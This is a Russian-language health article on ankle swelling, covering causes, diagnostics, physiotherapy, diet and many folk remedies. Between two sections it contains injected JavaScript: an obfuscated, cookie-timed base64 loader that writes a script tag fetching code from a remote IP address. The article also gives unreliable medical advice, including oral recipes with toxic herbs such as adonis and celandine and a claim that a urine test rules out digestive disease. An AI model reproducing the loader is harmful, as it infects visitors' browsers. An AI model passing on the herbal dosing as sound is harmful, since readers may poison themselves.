12 причин отёка лодыжки — что делать и как лечить опухоль?

Голеностопный сустав ежедневно должен выдерживать колоссальные нагрузки: ходьба, бег, прыжки, поддержка равновесия. При интенсивном ритме жизни достаточно сложно обойтись без различного рода травм.

Способы нетрадиционной терапии

Большинство врачей рекомендуют при болях и отеке голеностопа пройти курс физиотерапевтических процедур. После травм они помогут тканям быстрее восстановиться, а хронические воспалительные процессы переведут в стадию длительной ремиссии. Чаще всего используются следующие процедуры:

  • грязевые обертывания;
  • серные ванны;
  • электролитическое воздействие;
  • гидромассаж.

Если лодыжка опухает и болит при незначительных физических нагрузках или по вечерам, то это явный признак недостатка активности. Такое встречается у людей, которые в течение дня практически не ходят либо длительное время придерживаются постельного режима. В этом случае неплохо использовать массаж области голеностопного сустава, но проводить его может только профессионал, самостоятельное воздействие не рекомендуется.

При растяжении впору использовать народную медицину. В частности, хорошо помогают компрессы из сырого белка куриного яйца, оставленный на пораженном суставе на ночь. Можно сделать примочки из пропитанной теплым молоком марли, их держать нужно около 20 минут. Эти рецепты не помогут при хронических воспалениях, они эффективным только при повреждении связок.

Причины и способы лечения отека голеностопного сустава

Основными причинами такой проблемы считаются:

  • получение травм (это могут растяжения сухожилий, переломы и ушибы костей);
  • ревматизм;
  • воспаления костей и хрящей, носящие инфекционный характер, реактивный артрит;
  • патологии почек, сердца, желез внутренней секреции;
  • артроз, поражения вен ног.

При травматическом отеке наблюдается нарушение микроциркуляции крови в мягких тканях, кровоизлияние в полость сустава и мягкие ткани, мышечный отек. Помимо этого, в результате получения травм происходит развитие несостоятельности венных клапанов, что приводит к нарушению оттока крови по венам ног, застою и отечности.

Травма может привести к посттравматическому артрозу, при котором развивается дистрофия хрящевого сустава в голеностопе.

Если вы подвернули ногу и отек только усилился, заметно стало смещение лодыжки, то немедленно нужно обратиться в больницу. Это может быть разрыв связок.

Помимо травм, стать причиной отека голеностопа способны такие нарушения, как ревматизм, подагра, инфекционные заболевания и обменные патологии. Также нужно обратить внимание на функцию почек и сердца. При этом отекать может не только голеностоп, но и другие, более мелкие суставы стопы.

Прежде чем приступать к лечению отека, нужно определить причины его возникновения. Это очень важно, так как неправильно назначенное лечение может только нанести вред.

Основное лечение отека голеностопного устава направлено на то, чтобы:

  • улучшить микроциркуляцию крови;
  • повысить тонус вен;
  • удалить экссудат;
  • снизить проницаемость сосудов;
  • сопоставление отломков костей.

Если отек голеностопа спровоцирован застоем жидкости, то в этом случае назначают прием мочегонных средств, которые помогут очистить выделительную систему. Рекомендуют пить березовый сок (свежий и необработанный).

Причины и способы лечения отека голеностопного сустава

При получении травмы поможет снять отек холод. К ушибу можно приложить сухой лед или любой холодный предмет, пока нога не начнет неметь. Это поможет снять отек и предотвратить появление синяка. Также можно приготовить лед из цветков полевого василька, листьев шалфея, ромашки, травы тысячелистника. Для устранения болевых ощущений и предотвращения развития отечности используют также заморозку. Спрей на основе пропан-бутановой смеси поможет очень быстро остановить развитие отечности.

Помимо этого, суставу необходимо обеспечить неподвижность, используя эластичный бинт или голеностопный фиксатор. Поврежденную ногу нужно держать в приподнятом положении.

Среди лекарственных препаратов можно выделить Троксевазин. Его необходимо втирать раз в день.

При деформирующем отеке голеностопного сустава назначают массаж. Как правило, используют такие приемы, как поглаживания, разминания, растирания. Массаж начинают с позвоночника, переходя на бедра, голени и заканчивая стопой и пальцами ног. Это поможет улучшить тканевый обмен. После этого массажист приступает к растиранию и поглаживанию соседних к голеностопному суставу мышц. Эти манипуляции снизят болевой мышечный спазм, повысят тонус мышц. Особое внимание стоит уделить икроножным мышцам, лодыжкам и району пяточного сухожилия.

Если случай простой, то проводят самомассаж. Для этого используют жесткое полотенце либо две щетки. Ноги растирают круговыми движениями – начиная от стоп и заканчивая бедрами. Кожа должна покраснеть, после чего ее смазывают подсолнечным маслом либо специальным кремом для ног.

Чтобы устранить отек, кроме льда, используют и другие способы лечения. Рекомендуют делать ванночки для ног из настоев таких трав, как хвощ, ромашка, шалфей. 100 г травы заливают литром горячей воды, кипятят 15 минут на маленьком огне, после чего отвар необходимо настоять минут 40 и процедить. Для использования полученный отвар разбавляют теплой водой, добавляют 3-4 литра.

Но если вы страдаете тромбофлебитом, то ванны применять нельзя. В этом случае для снятия отечности в голеностопе советуют пить отвар льняного семени. При заболеваниях почек и сердца употребляют арбуз, тыкву, огурец, зелень петрушки, это поможет вывести излишек жидкости из организма.

Читайте также:  Синовит плечевого сустава что это такое

Для того чтобы вывести излишек жидкости из организма, употребляют арбуз. Также помогут тыква, огурец, зелень петрушки.

В целях профилактики рекомендуется снизить потребление соленых продуктов и ограничить объем выпиваемой жидкости. Не нужно долго стоять или сидеть. Женщины же должны при отечности отказаться от ношения обуви на высоких каблуках. Берегите свое здоровье и с вниманием относитесь к подсказкам своего организма!

Какие заболевания характерны?

Подобрать наиболее эффективные методы лечения состояния, когда опухает голеностоп, может лишь опытный врач. По словам специалистов, вызывать подобные состояния может множество разнообразных причин.

  • В месте сочленения боль может возникать в результате полученных ранее травм.
  • Другой распространенной причиной является развитие различных заболеваний.

Артрит

Этот воспалительный процесс может беспокоить в различной форме. В зависимости от этого выделяют острый и хронический артрит. Главным симптомом артрита голеностопного сустава является интенсивная боль, которая дополняется нарушением подвижности. Помимо этого, воспалительный процесс вызывает отечность в месте расположения сустава, покраснение и повышение температуры в месте источника боли.

Остеоартроз

При этом патологическом состоянии активно развиваются дегенеративно-дистрофические заболевания суставов, вызванные поражением хрящевых тканей суставных поверхностей. Остеоартроз голеностопного сустава является одним из осложнений, которое провоцирует нарушения крупных суставов. Поэтому для человека это становится большой проблемой, поскольку из-за нее он уже не может, как прежде, заниматься привычной трудовой деятельностью.

Подагра

Наш организм не всегда работает как часы, и бывают моменты, когда в нем нарушается обмен веществ, а также процесс выработки мочевой кислоты. Это может приводить к воспалению голеностопного соединения. Подобную реакцию организма можно наблюдать как результат повышения уровня концентрации солей в суставах и крови. Как раз это и провоцирует появление болей и отечности в сочленении.

Подошвенный фасциит

При этом заболевании также наблюдается воспалительный процесс, который затрагивает фасцию, представляющую собой толстую полоску соединительной ткани, находящуюся в низу ноги. Наиболее подвержены этому патологическому заболеванию люди, которым часто приходится подвергать себя физическим нагрузкам, сопровождающимся сильным давлением на пятку. Очень часто это заболевание диагностируется у людей, имеющих нарушенную структуру стопы и избыточный вес. Стоит заметить, что спровоцировать появление подошвенного фасциита может и неправильно подобранная обувь.

Травмы

Хотя боли в ногах могут быть вызваны самыми разными причинами, чаще всего они возникают из-за травм.

Эта часть тела получает ушибы, переломы, вывихи и растяжения связок в результате воздействия силы или падения с высоты или удара.

По словам специалистов, растяжение связок голеностопного сочленения ускоряет процесс появления отека в пораженном участке. Причиной этого называется кровоизлияние с наружной или внутренней стороны сустава. Помимо этого человек может ощутить в нижних конечностях резкие боли, особенно когда он пытается подвернуть стопы внутрь.

Если пытаться прощупать участок под лодыжками, то можно вызвать сильную боль. Если растяжение связок случилось именно в то время, когда был получен перелом плюсневой кости, ощущать острую боль человек будет всякий раз, когда будет дотрагиваться до ее основания.

Подбирать методику лечения должен опытный специалист, поскольку благодаря своим знаниям ему известно, какие методы и средства помогут наиболее эффективно подавить заболевание. По словам врачей, место появления вывиха может быть различным — это может быть участок соединения пяточной и таранной кости. Если патология проявилась в подобной форме, то это приводит к серьезным утолщению голеностопного сустава и его деформации. Наиболее часто это наблюдается в пяточной области.

Народные средства для снятия отека с области голеностопного сустава

Если причиной отека послужило какое-то заболевание внутренних органов, то достаточно эффективными могут быть народные средства, которые нормализуют водно-солевой баланс, улучшают работу почек, печени и сердца, способствуют выводу из мягких тканей избытка воды:

  1. если отеки вызвала патология печени, нужно смешать 20 г сухого весеннего адониса, 30 г полевого хвоща, 30 г тысячелистника и 20 г чистотела. Две столовые ложки этой смеси заливать стаканом кипящей воды и нагревать 15 минут, потом 45 минут настаивать. Добавить столько кипяченой воды, чтобы получилось 200 мл. Принимать по полстакана за 20-30 минут до приема пищи;
  2. для лечения отеков, вызванных сердечной недостаточностью, готовят настойку из почек березы – на 100 мл спирта 20 г сухого сырья. Настаивать нужно 21 день в темном месте. Принимать по чайной ложечке за 20-30 минут до приема пищи;
  3. при патологиях почек поможет отвар, приготовленный из льняного семени – насыпать в кастрюлю 4 столовые ложки семени и залить литром кипящей воды, прокипятить 15 минут, потом настаивать в темном месте примерно один час. Принимать 6-8 раз в день по полстакана. Для улучшения вкусовых качеств можно разбавлять этот отвар любым фруктовым соком (лучше кислым);
  4. накладывать на область отека лед, приготовленный из отвара ромашки, василька, тысячелистника, шалфея;
  5. делать ванночки из отвара ромашки, шалфея, хвоща – 100 г сухой травы залить литром кипящей воды, поварить 15 минут. Потом настаивать 45 минут, разбавить кипяченой воды до 4-5 литров.
Читайте также:  Воспаление всех мышц лечение народными средствами

Для лечения отеков важно правильное питание. Эффективно выводят из организма вод у арбузы, огурцы, тыква, виноград, зелень петрушки. Виноград можно заменить виноградным соком, зелень петрушки заваривать в виде чая.

Народные средства для снятия отека с области голеностопного сустава

Если врач назначил мочегонный препарат, то следует учитывать, что его прием будет способствовать выводу из организма кальция и калия. Это значит, что в рацион питания необходимо добавить продукты, которые содержат эти микроэлементы: кисломолочные продукты, изюм, кабачки, курагу, абрикосы. Следует так же ограничить потребление соли и объем воды. Воду можно заменить отварами из брусничных листьев, клюквы, лимона. При лечении отеков хорошо помогают эластичные чулки, укрепляющая гимнастика, самомассаж. Самое простое упражнение – балансировать сначала на одной, потом на другой ноге. Проделывать это упражнение нужно несколько раз в день. Для массажа можно использовать щетку с мягкой щетиной или жесткое полотенце. Ноги нужно растирать, начиная от пальцев, круговыми движениями. По окончании процедуры смазать кожу специальным кремом или любым растительным маслом. Женщинам при отеке области голеностопного сустава не желательно носить обувь на очень высоких каблуках.

function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Физиотерапия

УВЧ-процедуры для профилактики отеков ног

Эта методика основана на местном восстановлении поврежденной структуры тканей и может применяться при всех заболеваниях голеностопного сустава. Регулярные занятия лечебной физкультурой при травмах костей и мягких тканей помогут быстро восстановить структуру и функцию.

Воздействие на ткани ультравысокими частотами (УВЧ) стимулирует расширение сосудов и восстановление их стенки, благодаря чему уменьшается выход плазмы в окружающие ткани.

Физиотерапия

Ультразвук как самостоятельный метод физиотерапии или в сочетании с лекарственными препаратами помогает не только нормализовать крове- и лимфоток, но и оказывает противовоспалительное и анальгезирующее действие. После этой процедуры кожа лучше «проводит» лечебные мази и крема. Для снятия болевого синдрома в первые часы после травмы используется парафинотерапия. Она максимально эффективна при растяжениях и вывихах голеностопного сустава.

Комплексный подход обеспечивает быстрые результаты и являются великолепной профилактикой осложнений в дальнейшем.

Диагностика

Если вы заметили, что распухла нога в области голеностопного сустава, срочно нужно обратиться к врачу. Обычно с подобными симптомами обращаются к травматологу и ортопеду, которые выявляют причину заболевания и назначают необходимый курс лечения. Бывают случаи, когда в результате обследования выясняется, что причина боли и отека голеностопных суставов не связана с повреждением самого сустава. Могут быть исключены и проблемы других отделов опорно-двигательного аппарата. В этом случае сначала нужно посетить терапевта, который и определит дальнейший ход лечения. Он может направить пациента на консультацию к более узкому специалисту. Это может быть врач, специализирующийся на лечении любой системы органов, — кардиолог, флеболог, хирург, уролог, невролог и т.д.).

Чтобы поставить точный диагноз, необходимо провести комплексное обследование организма пациента.

С этой целью обычно назначаются:

  • Рентген поврежденного места — для исключения вероятности травмы костей.
  • Магнитно-резонансная томография и ультразвуковое обследование — для рассмотрения мягких тканей в области опухшего голеностопа.
Диагностика
  • Анализы крови: биохимический, общий, на ревматоидный фактор — для диагностики воспалительного процесса и артрита.
  • Анализ мочи — для исключения наличия заболеваний пищеварительного тракта.
  • Флюорографическое обследование — для исключения развития туберкулеза легких.

При первичном осмотре пациента врач определяет наличие припухлости визуально. При пальпации на поврежденной коже остается вмятина, сохраняющаяся в течение некоторого времени.

Полученные лабораторные данные наряду с визуальным осмотром составят полную клиническую картину заболевания и позволят назначить эффективное медикаментозное лечение.

Как лечить голеностопный сустав, если он болит: физиопроцедуры

Физиотерапевтическое лечение предусматривает проведение таких процедур:

1. Массаж.

2. Фонофорез.

3. Магнитотерапия.

4. Лечение лазером.

5. УВЧ-терапия.

Данные процедуры эффективны для быстрого снятия воспаления и боли. Назначать их можно только после проведения медикаментозной терапии и понижения болей у пациента.

Также при болях в голеностопном суставе рекомендуется придерживаться таких лечебных правил:

1. Перематывать больной сустав эластичным бинтом, чтобы он помогал восстанавливать нарушенное кровообращение.

2. Укладывать больную ногу на высокую подушку. Это тоже будет способствовать уменьшению отека и улучшению кровообращения.

3. При диагностировании артроза, тендинита, артрита иди других болезней сустава, следует полностью исключить нагрузку на больную ногу. Для этого рекомендуется воспользоваться тростью или костылем.

4. При травме нужно сразу же приложить к ноге холод, чтобы не допустить развития сильного отека и гематомы, иначе в противном случае, ее придется удалять хирургическим путем.

5. При подозрении на перелом голеностопного сустава очень важно не пытаться самостоятельно вправить ногу. Это может только навредить. Следует дождаться приезда врачей и сделать рентгенографию. После этого доктор определит степень травмы и предпримет правильные действия.

Лечение

Разнообразие причин, вызывающих отекание ног, требует врачебной консультации. Рациональным будет обращение к терапевту для первичного осмотра и получения направления к профильному специалисту.

Читайте также:  Как укрепить коленный сустав при артрозе

Лечебная тактика зависит от факторов, спровоцировавших отечность, клинических проявлений, места, где опухла лодыжка (с внешней или внутренней стороны, выше или ниже сустава и т.д.). Нужно понимать, что самолечение способно не только смазать картину заболевания, затрудняя постановку правильного диагноза, но и нанести организму вред.

Прием лекарственных препаратов

Если лодыжка опухла настолько, что больно наступать, а болевой синдром ярко выражен и/или сопровождается повышением температуры, до обращения за медицинской помощью допускается прием жаропонижающих средств и анальгетиков.

Важно учитывать, что употребление аспирина при подагре запрещено!

При опухании, вызванном укусами насекомых, целесообразен прием антигистаминов, способствующих ослаблению аллергической реакции. Назначение любых других препаратов должно производиться исключительно врачом после осмотра, сбора анамнеза и проведения необходимых исследований.

В дальнейшем это могут быть противовоспалительные средства, хондропротекторы, стероидные гормоны, антибиотики, флеботоники, диуретики, прочие препараты для лечения основного заболевания. Назначаются комплексы витаминных препаратов.

Снимать отек лодыжек и других областей ног мазями в отсутствии диагноза не рекомендуется.

Лечение

Снять боль, уменьшить отечность можно холодным компрессом.

Последующее лечение может включать применение обезболивающих противовоспалительных средств или мазей, улучшающих кровоснабжение тканей.

Физиопроцедуры

Лечить припухлости и отеки лодыжек с помощью физиопроцедур допустимо только после установления причин. Терапия может быть направлена на поддержание подвижности сустава или облегчение состояния. Важное значение имеет лечебная физкультура.

Массаж

Довольно часто больные, у которых опухла и болит лодыжка, пытаются ее массировать, что делать без консультации с врачом нельзя. Если же причина отекания известна, то при отсутствии противопоказаний процедура допустима. Так, гидромассаж помогает снять усталость ног, улучшить кровоснабжение при варикозе, а лечебный массаж при артрите в стадии ремиссии улучшает состояние сустава, облегчает боль в стопе и лодыжке.

Народная медицина

В некоторых случаях дополнительного эффекта можно добиться использованием народных средств. Например, уменьшить воспаление при подагре способны ванночки для ног с ромашкой или йодом. Возможно также употребление настойки сирени (внутрь и в качестве растирания), примочек из соды, горчицы и меда. При укусах насекомых облегчение принесет раствор соды или настойка календулы. Не следует забывать, что нетрадиционные методы являются лишь вспомогательной мерой в борьбе с опуханием лодыжек и не могут заменить средства общепринятой медицины.

Диета при отеках

Надо стремиться употреблять больше продуктов, которые способствуют выведению жидкости из организма, такие, как:

  • овощи: огурец, баклажан, свекла, тыква, морковь, морская капуста;
  • фрукты: арбузы, дыни, яблоки, виноград, лимон;
  • кисломолочные и молочные продукты с невысоким процентом жирности;
  • зелень: шпинат, лук, укроп, петрушка;
  • яйца;
  • мед;
  • чаи из лекарственных трав, таких, как мелисса, душица, шиповник, брусника.

Нельзя употреблять следующие продукты:

  • все соленые, острые, жирные, жареные, копченые;
  • алкоголь, а также газировку и квас;
  • крепкие чай и кофе;
  • тартар и майонез;
  • полуфабрикаты из мяса;
  • консервы из рыбы;
  • кисломолочные и молочные с высоким процентом жирности;
  • сладкие и мучные изделия;
  • апельсины, мандарины и т.п.;
  • фаст-фуды, орешки, чипсы, сухарики с разными добавками.

Примерное меню:

  1. Завтракать предпочтительнее кашами, сваренными на воде или овощными супами.
  2. В обед лучше съесть блюда из крольчатины или нежирную рыбу с листьями салата.
  3. Вечером поужинать творогом, выпить кефир или любой другой кисломолочный напиток.

Средства народной медицины

Стоит понимать, что отеки щиколоток, связанные с патологией внутренних органов, не лечатся народными средствами. Также при травмировании ноги нужно сразу обратиться к травматологу или ортопеду и пройти рентген.

Если укусило насекомое, нужно сразу приложить к щиколотке лед, обработать это место спиртосодержащим средством для обеззараживания и остановки кровотечения. Отечность может держаться долго, до 2-3 недель.

Если не спадает по прошествии длительного времени, то возможны растяжки и даже перелом, повреждение сухожилия в результате кровоизлияния. Нужно обратиться к врачу, самолечение опасно. Только врач назначит рентген, установит точную причину болей и отечности, наложит гипс.

В качестве домашнего лечения к отечной области можно приложить замороженный отвар ромашки. Дома хороши солевые ванночки, контрастный душ. Итак, народные средства:

  • приготовьте отвар льна, залив кипятком (1 л) 2-3 ст.л., пейте 2-3 недели, и вскоре почувствуете легкость в ногах;
  • замените обычную соль на йодированную или сок лимона при добавлении к блюдам, ешьте свежую петрушку, укроп, бруснику, арбузы, землянику – это хорошие мочегонные средства;
  • откажитесь от желе и черной рябины, повышающих вязкость крови, а разжижают кровь малина, клюква, лимон, чеснок;
  • ешьте продукты, богатые калием: персики, бананы, абрикосы, курагу, листовой салат;
  • не сидите долго, поджав ноги, – так застаивается кровь, а на ночь под щиколотки подкладывайте валик;
  • при появлении отеков пейте отвары коры бузины, листья ягоды можно распаривать и прикладывать к больным местам;
  • как мочегонное средство смешайте хвощ полевой, спорыш и березовые почки (по 2 ст.л.), залейте кипятком (1 стакан), дайте 30 минут настояться, процедите и пейте на протяжении 1 месяца;
  • улучшает состояние сосудов отвар астрагала: 15 г залейте кипятком (0,3 л), дайте настояться, процедите и пейте 2 недели по 2-3 ст.л. в день.